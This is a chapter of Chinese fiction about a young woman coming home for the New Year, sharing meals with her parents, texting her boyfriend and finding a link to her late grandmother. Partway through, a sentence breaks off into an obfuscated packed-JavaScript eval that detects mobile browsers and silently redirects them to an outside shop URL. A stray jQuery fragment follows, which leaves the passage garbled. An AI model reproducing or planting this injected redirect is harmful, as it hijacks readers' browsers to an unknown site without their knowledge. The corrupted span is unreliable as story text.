列车广播响了一声，预告前方到站。车厢里有人开始站起来够行李架。她把手机从口袋里掏出来，打开。
陈朗的消息还在最上面。到了告诉我，年后见。
看了两秒，锁屏。窗外的田野不知什么时候变成了房屋，白墙灰瓦，一栋接一栋往后退。快到了。这条路她走过很多次，但这次不一样。上次回来的时候她还不知道自己会做腌笃鲜，不知道另一个城市里有一个人正在等她回去。
她拍了张窗外的照片发过去。
“快到站了。”
回得很快：“嗯。出站就能看到你妈了。”隔了几秒又来一条，“路上吃东西了吗？”
她低头笑了一下。“餐车盒饭，不好吃。”
“那就留着肚子，到家肯定有好吃的。”
她看着那行字，锁了屏，把手机揣回口袋。
列车减速。她站起来，把行李箱从架上拽下来。
出站口人很多。她拖着箱子往外走，在人群里一眼看到了妈妈。深色羽绒服，围巾拉到鼻子底下，手里拎着一个塑料袋。看到她出来，妈妈激动地挥着手，往前走着。
予安走过去。“妈。”
妈妈上下看了她一眼，眼睛里都有泪花了。她把塑料袋递过来，“烤红薯和奶茶，你的最爱！”，又伸手接她的行李箱，“走吧，车停那边。”
“谢谢妈，还是妈最疼我~”
“那是！哪有家长不疼小孩的？”
车门开了，她把行李箱塞进后座，坐进副驾。车里一股淡淡的薄荷味，中控台上放着一盒薄荷糖，盖子敞着，少了几颗。妈妈发动车子，暖气慢慢上来，吹到脸上。
予安握着那只滚烫的红薯，塑料袋上凝着水雾，甜香从里面渗出来。她剥开皮咬了一口，软糯的，甜的，温度从舌尖一路暖到胃里。
“我来帮你开奶茶！”
“谢谢妈~回家真好~”
“对，少不了你吃的！”
车子开动，离开车站，开了一段路后，迎来了熟悉的街道。水果摊、卤味店、春联摊，一个接一个从车窗外滑过去，都是她小时候走的路。经过菜场门口人多，车只能慢慢挪，妈妈按了一下喇叭，前面的人让了让。予安看着窗外，觉得这条路比记忆里窄了一点，但热闹是一样的。她的目光落到妈妈握方向盘的手上。指节比以前粗了，虎口有一道干裂的口子，贴了一截肤色创可贴。
家还是老样子。门口对联换了一副新的，红纸黑字，墨迹还新着。
门一开，一股热气和香味扑面而来。爸爸从厨房探出头，手里还握着锅铲，围裙上沾着油渍。“回来了？”能听出心情异常的好。
“爸。”
“洗手吃饭，饭菜马上好。”
餐桌上已经摆好了她爱吃的：红烧排骨、清炒时蔬、凉拌木耳，砂锅里咕嘟咕嘟冒着排骨汤。碗筷三副，整整齐齐。厨房里油烟机的轰轰声和炒菜的滋啦声混在一起，是这个家最熟悉的动静。她站在客厅中间，忽然觉得这一路的风尘都被这声音接住了。
妈妈摘了围巾，进厨房看了一眼。爸爸端着最后一碗汤出来，“坐吧，凉了就不好吃了。”
予安坐下来，拿起筷子。排骨烧得入味，瘦肉不柴，骨头边上的筋炖透了，咬开的时候有酱汁渗出来。清炒时蔬脆嫩，木耳用蒜末和香油拌的，还是小时候那个味道。她一口接一口地吃，没说几句话。爸爸偶尔说一句“多吃点，瘦了”，妈妈说“你爸爸知道你要回来，早上老早就去买排骨，东挑西捡的，买的老好的排骨，还炖了一下午呢”。
“谢谢爸，爸，你辛苦了，排骨真好吃~”
“我在外面都吃不到这么新鲜，这么美味的排骨~”
予安爸爸脸上挂着笑时不时就往予安碗里夹排骨。
这一顿把予安吃撑了……
她刚想站起来收碗，妈妈拦了一下。“放着，我来，你去休息去。”
她乖乖回了房间。
晚上，洗完澡坐在床边擦头发。房间和她走的时候一样，桌上的书还是那几本，窗帘还是那个颜色。不同的是桌上一点灰都没有，窗帘就跟新的一样。
床头柜上放着一个相框，里面是她高中的毕业照，穿着校服站在学校门口，笑得有点傻。她拿起来看了看，又放回去。
手机亮了一下，是陈朗。
“到家了吗？”
“到了~”
“吃了饭了吗？”
“吃了~”
“吃了什么？”
她掰着手指回他：“红烧排骨，清炒时蔬，凉拌木耳……我爸炖的排骨好吃~”
“跟我的糖醋排骨比呢？”
她笑了一下：“不一样的好吃~”
“你今天吃了什么？”
“一个人，煮了面……”
“什么面？”
“光面，不过还是煎了个蛋，不然就显得自己太可怜了……”
予安知道这是陈朗的小伎俩，还是配合着，回了两个抱抱的表情。
“我给你打电话吧！”
“干嘛呀？”
“想听听你的声音！”
“不大方便，我们这隔音不大好。”
“那你就正常跟朋友聊天那样就行了。”
“那你打吧~”
陈朗的电话过来，予安立马接通，正儿八经地喂了一声。
听筒里传来对面嗤嗤的笑声。
予安不好发作，说道：“有什么事吗？”
“有啊，有很重要的事，我有一首很好听的歌想跟你一起听！”
不一会，听筒里传来一段吉他声……
窗外远处有人在放烟花，闷闷的响声隔了几秒才传过来。透过窗帘的缝隙，暗蓝的天上有光一闪一闪。
想必是家里的小孩早早开始享受假期生活了。
第二天早上她被厨房的动静吵醒。锅碗碰撞的声音，水龙头打开又关上，油烟机轰轰转起来。她翻了个身，又躺了一会儿，才起来。
走进厨房的时候妈妈正在择菜，爸爸在水池边杀鱼，案板上堆着买回来的菜：韭菜、芹菜、一大块五花肉、活虾还在塑料袋里蹦。
已经是过年的架势。
“醒了？去刷牙，早饭在餐桌上，吃好了过来帮忙。”妈妈忙的头也没抬。
予安刷完牙回来，吃好早饭，来到水池边。
妈妈递了一把葱过来。“把这些葱洗了切段。”
她接住，拧开水龙头。水是凉的，冲到手指上有点冰。接过妈妈递过来的手套，她赶紧戴上手套。
她搓了搓葱上的泥，洗好，搁到案板上，拿起刀。刀面贴着指节，斜刀，切段。
妈妈的手停了一下。
诧异地问到：“谁教你这样切葱的？”
予安低头看了看自己的手，没什么特别的呀。“自己……练的……”
“你外婆以前也这样切，像你一样，刀斜着，葱白和葱叶分开。”
予安的刀停在半空。
她从来没见过外婆做饭。外婆走的时候她还小，记忆里只剩一个模糊的影子，坐在老房子的藤椅上，手里拿着什么，记不清了。但当妈妈说出这句话的时候，她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17759525|207030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的手指、刀面的角度、刀落下去之前那半秒的停顿，一下子有了来处。她低头看着自己的手，感觉自己身上多了一层链接。
妈妈没再说下去，眼里已有丝丝泪花。
她把冬笋片倒进砂锅，水汽腾起来，糊了厨房窗玻璃。盖上盖子，转小火，拿抹布擦了一下灶台。
予安低头继续切葱。指尖在刀背上轻轻蹭了一下。像在确认那把刀还在，像在确认自己的手还是自己的手。切完，放在碟子里，妈妈接过去丢进砂锅，水汽又腾了一下。她站在旁边看妈妈用勺子搅了搅汤，又盖上盖子。灶台上的火苗稳稳地烧着，蓝色的，橘色的芯。和姑城的火一样。和外婆当年的火大概也一样。
她又拿起一根葱。没等妈妈说。剥了皮，洗了，搁到案板上，斜刀切段。刀面贴着指节的角度不用再想，手起刀落。
妈妈去看爸爸那的鱼有没有清理干净。
中午的菜比昨晚还丰盛。红烧肉、清蒸鲈鱼、葱爆大虾、冬笋排骨汤，碗碟摆满了桌子。爸爸开了一瓶白酒，给自己倒了一小杯。妈妈把鱼转到予安面前，“吃鱼。”
予安夹了一筷子。鱼肉嫩滑，蒸得刚好。葱丝姜丝码得齐整，热油淋上去的香味还挂在表面。
妈妈吃了几口，放下筷子，喝了一口水。“那个陈朗，送你上的火车？”
予安筷子顿了一下。“嗯。”
“大冷天的，难为人家跑一趟。”
“他……”
妈妈没等她说完。
“对你好不好？”
予安低着头。“挺好的。”
妈妈嗯了一声，夹了一块红烧肉放到她碗里。过了几秒才又开口。“做什么工作的？”
“以前公司的同事，做设计的。”
爸爸抿了一口酒，接了一句。“那你们是同行啊……”
“可以算是同行~”
爸爸点了点头，没再追问。又喝了一口酒。夫妻俩交换了一个眼神，那种在一起生活了几十年的眼神，什么话都不用说。
妈妈夹了一筷子青菜。“你自己呢，那边待得惯吗？”
“待得惯。”
“吃得好吗？”
予安想了想。“有时候自己做。番茄炒蛋，腌笃鲜，素面……”
“都会做腌笃鲜了，我们家闺女厉害了啊！”
“是陈朗教我做的，我还做的不是很好，下次可以给你露一手！”
妈妈爸爸眼神交流了一番。又给她夹了一筷子腊肉。
予安低头扒饭，又喝了一口汤。她想说点什么，关于专栏，关于姑城的菜场，关于那个她写了半年的“慢火”。但话到嘴边又咽回去了。这些事在家里不知道从哪说起。
吃完饭予安帮忙收了碗。妈妈在水池边洗碗，她站在旁边拿干布擦碗。水流的声音和碗碟碰撞的声音填满了厨房。
妈妈把最后一个碗冲干净，递给她。“明天想吃什么？”
她接过碗，擦了。
“都行。”
她擦完碗回到房间，坐在床边。手机安安静静的。她打开和陈朗的对话框，看了一圈昨晚的聊天记录。
不一会儿，陈朗的消息跳了出来。
“过几天我就要开始放假了！”
“那你有什么安排吗？”
隔了几秒。
“我把自己安排去女朋友家里，行不行？”
她看着那行字，嘴角弯了一下。
“行~”
锁了屏，躺了下来，这个事要跟爸妈说一下吧。
外面有零星的鞭炮声。年近了。